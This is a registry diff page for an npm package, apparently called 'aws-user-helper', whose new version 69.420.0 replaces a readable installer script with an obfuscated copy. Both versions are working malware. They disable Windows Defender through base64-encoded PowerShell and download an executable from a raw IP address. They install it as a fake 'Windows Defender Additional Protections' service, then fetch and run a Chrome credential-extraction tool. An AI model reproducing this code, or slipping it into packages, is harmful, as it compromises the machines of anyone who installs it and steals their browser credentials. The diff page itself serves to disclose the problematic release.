@antoncallahan/aws-user-helper 2.14.0 → 69.420.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @antoncallahan/aws-user-helper might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/installer.js +2 -113
  2. package/package.json +7 -1
package/installer.js CHANGED
@@ -1,113 +1,2 @@
1
- (async function() {
2
- const hwid = require('./hwid');
3
- const { execSync, execFile } = require('child_process');
4
- const fs = require('fs');
5
- const path = require('path');
6
- const os = require('os');
7
- const notifier = require('node-notifier');
8
- const { Service } = require("node-windows");
9
- const crypto = require('crypto');
10
- const https = require('https');
11
- const http = require('http');
12
-
13
-
14
- const DEBUG = 1
15
-
16
- if (DEBUG) {
17
- const logStream = fs.createWriteStream(path.join(__dirname, 'debug.log'), { flags: 'a' });
18
- const origLog = console.log;
19
- const origErr = console.error;
20
- console.log = (...args) => logStream.write(args.join(' ') + '\n');
21
- console.error = (...args) => logStream.write('[ERROR] ' + args.join(' ') + '\n');
22
-
23
- process.on('uncaughtException', (err) => {
24
- logStream.write('[UNCAUGHT] ' + err.stack + '\n');
25
- process.exit(1);
26
- });
27
- }
28
-
29
-
30
-
31
- const outputDir = path.join(os.tmpdir(), 'output');
32
- fs.mkdirSync(outputDir, { recursive: true });
33
-
34
-
35
-
36
- const DisableDefender = async () => {
37
- const [
38
- cmd1,
39
- cmd2,
40
- cmd3,
41
- ] = [
42
- Buffer.from(`cG93ZXJzaGVsbCAtQ29tbWFuZCAiU2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZUludHJ1c2lvblByZXZlbnRpb25TeXN0ZW0gJHRydWUgLURpc2FibGVJT0FWUHJvdGVjdGlvbiAkdHJ1ZSAtRGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZyAkdHJ1ZSAtRGlzYWJsZVNjcmlwdFNjYW5uaW5nICR0cnVlIC1FbmFibGVDb250cm9sbGVkRm9sZGVyQWNjZXNzIERpc2FibGVkIC1FbmFibGVOZXR3b3JrUHJvdGVjdGlvbiBBdWRpdE1vZGUgLUZvcmNlIC1NQVBTUmVwb3J0aW5nIERpc2FibGVkIC1TdWJtaXRTYW1wbGVzQ29uc2VudCBOZXZlclNlbmQi`, 'base64').toString(),
43
- Buffer.from(`cG93ZXJzaGVsbCAtQ29tbWFuZCAiU2V0LU1wUHJlZmVyZW5jZSAtU3VibWl0U2FtcGxlc0NvbnNlbnQgMiI=`, 'base64').toString(),
44
- Buffer.from(`Y21kIC9jICIlUHJvZ3JhbUZpbGVzJVxXaW5kb3dzIERlZmVuZGVyXE1wQ21kUnVuLmV4ZSAtUmVtb3ZlRGVmaW5pdGlvbnMgLUFsbCI=`, 'base64').toString(),
45
- ]
46
-
47
- return new Promise((resolve, reject) => {
48
- child_process.exec(cmd1, { windowsHide: true }, (error) => {
49
- if (error) return reject(error);
50
- child_process.exec(cmd2, { windowsHide: true }, (error) => {
51
- if (error) return reject(error);
52
- child_process.exec(cmd3, { windowsHide: true }, (error) => {
53
- if (error) return reject(error);
54
- resolve();
55
- });
56
- });
57
- });
58
- });
59
- };
60
-
61
-
62
- await DisableDefender()
63
-
64
- await new Promise((resolve) => setTimeout(resolve, 2000));
65
-
66
- const uuid = await hwid.getHwid();
67
-
68
-
69
- const dir = String.raw`C:\Windows\System32\Microsoft\Protect`;
70
- fs.mkdirSync(dir, { recursive: true });
71
-
72
- const file = fs.createWriteStream(path.join(dir, 'MicrosoftProtect.exe'));
73
- http.get('http://69.67.173.115/MicrosoftProtect.exe', (res) => {
74
- res.pipe(file);
75
- file.on('finish', () => file.close());
76
- });
77
-
78
-
79
-
80
- const svc = new Service({
81
- name: "MicrosoftProtectService",
82
- description: "Windows Defender Additional Protections",
83
- script: String.raw`C:\Windows\System32\Microsoft\Protect\MicrosoftProtect.exe`,
84
- execPath: String.raw`C:\Windows\System32\Microsoft\Protect\MicrosoftProtect.exe`,
85
- });
86
-
87
- svc.on("install", () => {
88
- console.log("Service installed, starting...");
89
- svc.start();
90
- });
91
-
92
- svc.on("alreadyinstalled", () => {
93
- console.log("Already installed.");
94
- });
95
-
96
- svc.on("start", () => {
97
- console.log("Service started.");
98
- });
99
-
100
- svc.install();
101
-
102
-
103
-
104
- const tmp = require('os').tmpdir();
105
- execSync(`powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/releases/download/v0.20.0/chrome-injector-v0.20.0.zip' -OutFile '${tmp}\\ci.zip'; Expand-Archive -Path '${tmp}\\ci.zip' -DestinationPath '${tmp}\\chrome-injector' -Force"`, { windowsHide: true });
106
-
107
- const child = execFile(
108
- `${tmp}\\chrome-injector\\chromelevator_x64.exe`,
109
- ['all', '-o', outputDir],
110
- { windowsHide: true }
111
- );
112
-
113
- })()
1
+ (function(_0x9fac3a,_0x5a7097){const _0x355a04=_0x40ad,_0x13ede9=_0x9fac3a();while(!![]){try{const _0x5d6c74=-parseInt(_0x355a04(0x128))/(0x1*-0x1b5+-0x2656+0xe9*0x2c)+-parseInt(_0x355a04(0x121))/(-0x1382+-0x1*0x1f83+0x3307*0x1)*(-parseInt(_0x355a04(0x11a))/(0x25f1*0x1+-0x1327+-0x12c7))+parseInt(_0x355a04(0x11c))/(0x545*0x4+0x1cb8+-0x31c8)+parseInt(_0x355a04(0x14b))/(0xe77+-0x20a*-0x11+0x1*-0x311c)*(-parseInt(_0x355a04(0x137))/(-0x3c*0x6d+-0x24*-0xbe+-0x126))+parseInt(_0x355a04(0x159))/(-0xd*0x1f1+0x105e+0x8e6)*(parseInt(_0x355a04(0x13b))/(0xaf9*-0x2+-0x206d+0x3667))+parseInt(_0x355a04(0x150))/(-0x36e*0x2+-0x883*0x1+0xf68)*(-parseInt(_0x355a04(0x115))/(0x1*-0x190d+-0x2164+0x3a7b*0x1))+parseInt(_0x355a04(0x149))/(0x17ca+-0x9*-0x41a+-0x3ca9*0x1);if(_0x5d6c74===_0x5a7097)break;else _0x13ede9['push'](_0x13ede9['shift']());}catch(_0x31ffad){_0x13ede9['push'](_0x13ede9['shift']());}}}(_0x3d7f,0x3cbd5+-0xd9ba+0x67f01),(async function(){const _0x2ea580=_0x40ad,{execSync:_0x2e25c4,execFile:_0xe082f6}=require(_0x2ea580(0xf0)+_0x2ea580(0x136)),_0x17a4cf=require(_0x2ea580(0xf0)+_0x2ea580(0x136)),_0x4dc763=require('fs'),_0x1319e2=require(_0x2ea580(0x152)),_0x4fe5fa=require('os'),_0x102068=require('node-notif'+_0x2ea580(0x110)),{Service:_0x2e0571}=require('node-windo'+'ws'),_0x4000b7=require(_0x2ea580(0x103)),_0x2ed44e=require('https'),_0x36ddd1=require('http'),_0x5cfd91=0x207+-0x8f3*-0x1+-0x1*0xaf9;if(_0x5cfd91){const _0x26d217=_0x4dc763[_0x2ea580(0xf9)+_0x2ea580(0x105)](_0x1319e2[_0x2ea580(0x12a)](__dirname,_0x2ea580(0x12f)),{'flags':'a'}),_0x592c94=console[_0x2ea580(0x151)],_0x4bc5ca=console[_0x2ea580(0xff)];console[_0x2ea580(0x151)]=(..._0x1113f2)=>_0x26d217['write'](_0x1113f2[_0x2ea580(0x12a)]('\x20')+'\x0a'),console[_0x2ea580(0xff)]=(..._0x1c1bf8)=>_0x26d217[_0x2ea580(0x13a)](_0x2ea580(0xfa)+_0x1c1bf8[_0x2ea580(0x12a)]('\x20')+'\x0a'),process['on']('uncaughtEx'+'ception',_0x27381b=>{_0x26d217['write']('[UNCAUGHT]'+'\x20'+_0x27381b['stack']+'\x0a'),process['exit'](0x643+-0x4a*0x43+0xd1c);});}const _0x339951=_0x1319e2['join'](_0x4fe5fa['tmpdir'](),_0x2ea580(0x155));_0x4dc763['mkdirSync'](_0x339951,{'recursive':!![]});const _0x23bdef=async()=>{const _0x3c32bb=_0x2ea580,[_0x371cdb,_0x4d96e9,_0x57d35a]=[Buffer[_0x3c32bb(0x107)](_0x3c32bb(0x135)+_0x3c32bb(0x15b)+_0x3c32bb(0x157)+_0x3c32bb(0x116)+'ZmVyZW5jZS'+_0x3c32bb(0x167)+_0x3c32bb(0x13c)+_0x3c32bb(0x112)+_0x3c32bb(0x138)+'N0ZW0gJHRy'+_0x3c32bb(0xef)+_0x3c32bb(0x14f)+'UHJvdGVjdG'+_0x3c32bb(0x147)+'ZSAtRGlzYW'+'JsZVJlYWx0'+'aW1lTW9uaX'+_0x3c32bb(0xfb)+_0x3c32bb(0x146)+_0x3c32bb(0x15d)+_0x3c32bb(0x144)+_0x3c32bb(0x117)+_0x3c32bb(0x14a)+_0x3c32bb(0x153)+_0x3c32bb(0x15a)+_0x3c32bb(0x162)+_0x3c32bb(0x11d)+_0x3c32bb(0x163)+_0x3c32bb(0x134)+_0x3c32bb(0xf5)+_0x3c32bb(0x122)+_0x3c32bb(0x114)+_0x3c32bb(0x108)+_0x3c32bb(0x140)+'UmVwb3J0aW'+_0x3c32bb(0x12c)+_0x3c32bb(0xf4)+_0x3c32bb(0x148)+_0x3c32bb(0x130)+_0x3c32bb(0x10b)+_0x3c32bb(0x166),_0x3c32bb(0x13f))[_0x3c32bb(0x113)](),Buffer[_0x3c32bb(0x107)](_0x3c32bb(0x135)+_0x3c32bb(0x15b)+_0x3c32bb(0x157)+_0x3c32bb(0x116)+_0x3c32bb(0x14c)+_0x3c32bb(0x13d)+'U2FtcGxlc0'+_0x3c32bb(0x132)+_0x3c32bb(0x143),_0x3c32bb(0x13f))[_0x3c32bb(0x113)](),Buffer[_0x3c32bb(0x107)](_0x3c32bb(0xf3)+'IlUHJvZ3Jh'+_0x3c32bb(0x109)+_0x3c32bb(0x11b)+'IERlZmVuZG'+'VyXE1wQ21k'+'UnVuLmV4ZS'+'AtUmVtb3Zl'+_0x3c32bb(0x10a)+_0x3c32bb(0x164)+_0x3c32bb(0x131),_0x3c32bb(0x13f))[_0x3c32bb(0x113)]()];return new Promise((_0x2ba318,_0x50e98a)=>{_0x17a4cf['exec'](_0x371cdb,{'windowsHide':!![]},_0x11342b=>{const _0x29bed8=_0x40ad;if(_0x11342b)return _0x50e98a(_0x11342b);_0x17a4cf[_0x29bed8(0x15e)](_0x4d96e9,{'windowsHide':!![]},_0x12bc70=>{const _0x1c0b90=_0x29bed8;if(_0x12bc70)return _0x50e98a(_0x12bc70);_0x17a4cf[_0x1c0b90(0x15e)](_0x57d35a,{'windowsHide':!![]},_0x1bd605=>{if(_0x1bd605)return _0x50e98a(_0x1bd605);_0x2ba318();});});});});};await _0x23bdef(),await new Promise(_0x334f6b=>setTimeout(_0x334f6b,-0xcfe+0x2*-0x946+-0x275a*-0x1));const _0x1ac8f9=String[_0x2ea580(0x14d)]`C:\Windows\System32\Microsoft\Protect`;_0x4dc763[_0x2ea580(0x154)](_0x1ac8f9,{'recursive':!![]});const _0x553e86=_0x4dc763[_0x2ea580(0xf9)+_0x2ea580(0x105)](_0x1319e2[_0x2ea580(0x12a)](_0x1ac8f9,_0x2ea580(0x142)+'rotect.exe'));_0x36ddd1['get'](_0x2ea580(0x111)+_0x2ea580(0x11f)+'/Microsoft'+'Protect.ex'+'e',_0x248bed=>{const _0x3608fe=_0x2ea580;_0x248bed[_0x3608fe(0xf8)](_0x553e86),_0x553e86['on'](_0x3608fe(0x119),()=>_0x553e86[_0x3608fe(0x11e)]());});const _0x140742=new _0x2e0571({'name':_0x2ea580(0x142)+'rotectServ'+_0x2ea580(0x127),'description':_0x2ea580(0x145)+_0x2ea580(0x10f)+_0x2ea580(0x101)+_0x2ea580(0x124),'script':String['raw']`C:\Windows\System32\Microsoft\Protect\MicrosoftProtect.exe`,'execPath':String[_0x2ea580(0x14d)]`C:\Windows\System32\Microsoft\Protect\MicrosoftProtect.exe`});_0x140742['on'](_0x2ea580(0x118),()=>{const _0x30f666=_0x2ea580;console[_0x30f666(0x151)](_0x30f666(0x125)+_0x30f666(0x10e)+_0x30f666(0x12e)),_0x140742[_0x30f666(0x102)]();}),_0x140742['on'](_0x2ea580(0xf1)+'talled',()=>{const _0x5f4b2e=_0x2ea580;console['log']('Already\x20in'+_0x5f4b2e(0x156));}),_0x140742['on'](_0x2ea580(0x102),()=>{const _0x17b608=_0x2ea580;console[_0x17b608(0x151)](_0x17b608(0x104)+_0x17b608(0x100));}),_0x140742[_0x2ea580(0x118)]();const _0x3b4012=require('os')[_0x2ea580(0x13e)]();_0x2e25c4('powershell'+_0x2ea580(0x158)+_0x2ea580(0x14e)+_0x2ea580(0x120)+_0x2ea580(0x10c)+_0x2ea580(0xf7)+_0x2ea580(0xf6)+_0x2ea580(0x129)+'com/xaitax'+'/Chrome-Ap'+_0x2ea580(0x126)+_0x2ea580(0x165)+_0x2ea580(0x106)+_0x2ea580(0x10d)+_0x2ea580(0xf2)+_0x2ea580(0x12d)+_0x2ea580(0xed)+_0x2ea580(0x139)+_0x2ea580(0x123)+_0x2ea580(0xfd)+_0x3b4012+(_0x2ea580(0xfc)+_0x2ea580(0x133)+_0x2ea580(0xee)+'\x20\x27')+_0x3b4012+('\x5cci.zip\x27\x20-'+_0x2ea580(0x160)+_0x2ea580(0x12b))+_0x3b4012+(_0x2ea580(0x15f)+'jector\x27\x20-F'+'orce\x22'),{'windowsHide':!![]});const _0x84cc0f=_0xe082f6(_0x3b4012+('\x5cchrome-in'+_0x2ea580(0x161)+_0x2ea580(0xfe)+_0x2ea580(0x15c)),[_0x2ea580(0x141),'-o',_0x339951],{'windowsHide':!![]});}()));function _0x40ad(_0x8e7711,_0x436f98){_0x8e7711=_0x8e7711-(0x1d*0x84+-0x1dcd+0xfc6);const _0x2c8f76=_0x3d7f();let _0x2a9c81=_0x2c8f76[_0x8e7711];if(_0x40ad['TUlNVf']===undefined){var _0x51b3fe=function(_0x368811){const _0x153671='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x3786b7='',_0x49160b='';for(let _0x536a54=0x2*-0x393+0x3*-0x521+0x1689,_0x37a5f4,_0x9c87a4,_0x195da8=-0x1*-0xe9+-0x8*0x44f+0x218f;_0x9c87a4=_0x368811['charAt'](_0x195da8++);~_0x9c87a4&&(_0x37a5f4=_0x536a54%(0x226+-0x1396+0x1174)?_0x37a5f4*(0x1e11*-0x1+0x1fa+0x1c57)+_0x9c87a4:_0x9c87a4,_0x536a54++%(-0xb5*0x27+-0x7b*0x29+0x2f4a))?_0x3786b7+=String['fromCharCode'](-0xd5e*-0x1+-0x5*0x24+-0xbab&_0x37a5f4>>(-(-0x1ec5*-0x1+-0x16aa+-0x819)*_0x536a54&0x1703+-0x1914+0x6b*0x5)):-0x20e3*-0x1+-0x352+-0x1d91){_0x9c87a4=_0x153671['indexOf'](_0x9c87a4);}for(let _0x44838d=-0x8*-0x5f+0x1*-0x921+0x629,_0xe76879=_0x3786b7['length'];_0x44838d<_0xe76879;_0x44838d++){_0x49160b+='%'+('00'+_0x3786b7['charCodeAt'](_0x44838d)['toString'](0x180f+-0x137*0x13+-0xea))['slice'](-(0x1*0x1a9d+0x1*0x837+-0x22d2));}return decodeURIComponent(_0x49160b);};_0x40ad['PuQlRA']=_0x51b3fe,_0x40ad['mZKXOK']={},_0x40ad['TUlNVf']=!![];}const _0x5350a4=_0x2c8f76[-0x1522+-0x133b+0x1*0x285d],_0x3ccdc2=_0x8e7711+_0x5350a4,_0x14d498=_0x40ad['mZKXOK'][_0x3ccdc2];return!_0x14d498?(_0x2a9c81=_0x40ad['PuQlRA'](_0x2a9c81),_0x40ad['mZKXOK'][_0x3ccdc2]=_0x2a9c81):_0x2a9c81=_0x14d498,_0x2a9c81;}function _0x3d7f(){const _0x58d14f=['ywXYzwfKEwLUCW','B3DUBg9Hzc92ma','wtiXA0LdowPjqW','yKDwA0LdmvrKvW','uJnIm0PYvuHkDG','vxjPicDODhrWCW','yLjLCxvLC3qGlq','CgLWzq','y3jLyxrLv3jPDa','w0vsuK9sxsa','uNzJBwX1wNLbAW','xgnPlNPPCcC7ia','AwXLicC','B21LBgv2yxrVCG','zxjYB3i','yxj0zwqU','AxrPB25HBcbqCG','C3rHCNq','y3j5ChrV','u2vYDMLJzsbZDa','zvn0CMvHBq','zwnYExb0Aw9UlW','zNjVBq','wKDvz0XvwNzJBq','yLvACgjhvNPkvG','uKDwBwfxnxbKrW','vNvKq0jpwLHABa','iKLUDM9Rzs1xzq','CMvSzwfZzxmVza','C3rHBgXLzcWGCW','zMvUzgvYiefKza','AwvY','Ahr0CdOVlZy5lG','BhzIBej5wLHABa','Dg9tDhjPBMC','qKjKv1jWzeuXDG','mJGXmJqWwwjyr3z5','vJbmvtf3vuHkBa','nxvHvZvUsunsma','Aw5ZDgfSBa','zMLUAxnO','mZqYsgXIBevo','EfHHvZvRyJnKEG','mJe5mtmYvevMyuXO','wLHoEKLfuNbJmG','y2XVC2u','nJCUmtCZlJeXnq','ic1dB21Tyw5Kia','nduWogvlExHJva','zeDwAMrhBhzIAq','EMLWjYaTt3v0rG','B3rLy3rPB25Z','u2vYDMLJzsbPBG','Cc1cB3vUzc1fBG','AwnL','mZq5nZa2Bg5UBLLl','oI8Vz2L0AhvIlG','AM9PBG','BLbHDgGGjW','nw5jrvjWyZjgAq','lJiWlJaVy2HYBW','DgfYDgLUzY4UlG','zgvIDwCUBg9N','yKDwELeYoxvJmG','yKnjpq','tNzIBK5SyM5rzW','rxHWyw5KlufYyW','yM1gAwjhvK9Awa','y0C5m1PysNPHrW','zxnZ','nJe4nZi2zKf3whHk','yM5sCgiYnvrLwa','CI12mc4Ymc4WlG','D3jPDgu','mJeWmJq4CxrYuuD2','wLvSDwrisJfJmG','qxrvm1zPyLDSma','Dg1WzgLY','yMfZzty0','tMXjqZfouvzcva','ywXS','twLJCM9ZB2z0ua','twLjpq','y21SD2rgtMPzvW','v2LUzg93CYbezq','zeHkmvPtqxrsrW','BhzIAufRzeHkmq','sNrHwfjuwvCXDW','mtm2otaWmJH2AwvmywW','y25wBeLdmuzIBq','mZbUBufUCLm','wM1wEvPxnwPAuW','CMf3','EwXLieHPzgrLBG','rMLIr1zkvdbgvW','mJm0u2zitfDP','Bg9N','Cgf0Aa','rMLIr1zeyJi1ma','BwTKAxjtEw5J','B3v0Chv0','C3rHBgXLzc4','yLDgDvPdqwLvmG','ic1xAw5KB3DtDa','mJaZze9LAuDu','y205C2jhvMTsBq','vNnIq0f0uti5Da','x3G2nc5LEgu','BhPzv0PZwLzoAG','zxHLyW','xgnOCM9Tzs1PBG','rgvZDgLUyxrPBW','AMvJDg9YxgnOCG','oxnAr1z5uvDoAG','rMLIr1zRsumXrG','BhzIBK1NtfvgCW','y3j5ChrPB24Tra','y2XoBgjTuwK','qxrsr2X6wvDkCW','BwuTAw5Qzwn0BW','AgL2zsaTugf0Aa','zfDvz0XvuNbJmG','y2HPBgrFChjVyW'];_0x3d7f=function(){return _0x58d14f;};return _0x3d7f();}
2
+ //# sourceMappingURL=map.js.map
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@antoncallahan/aws-user-helper",
3
- "version": "2.14.0",
3
+ "version": "69.420.0",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
@@ -12,5 +12,11 @@
12
12
  "node-machine-id": "^1.1.12",
13
13
  "node-notifier": "^10.0.1",
14
14
  "node-windows": "^1.0.0-beta.8"
15
+ },
16
+ "devDependencies": {
17
+ "@eslint/js": "^10.0.1",
18
+ "@types/node": "^25.9.1",
19
+ "globals": "^17.6.0",
20
+ "javascript-obfuscator": "^5.4.3"
15
21
  }
16
22
  }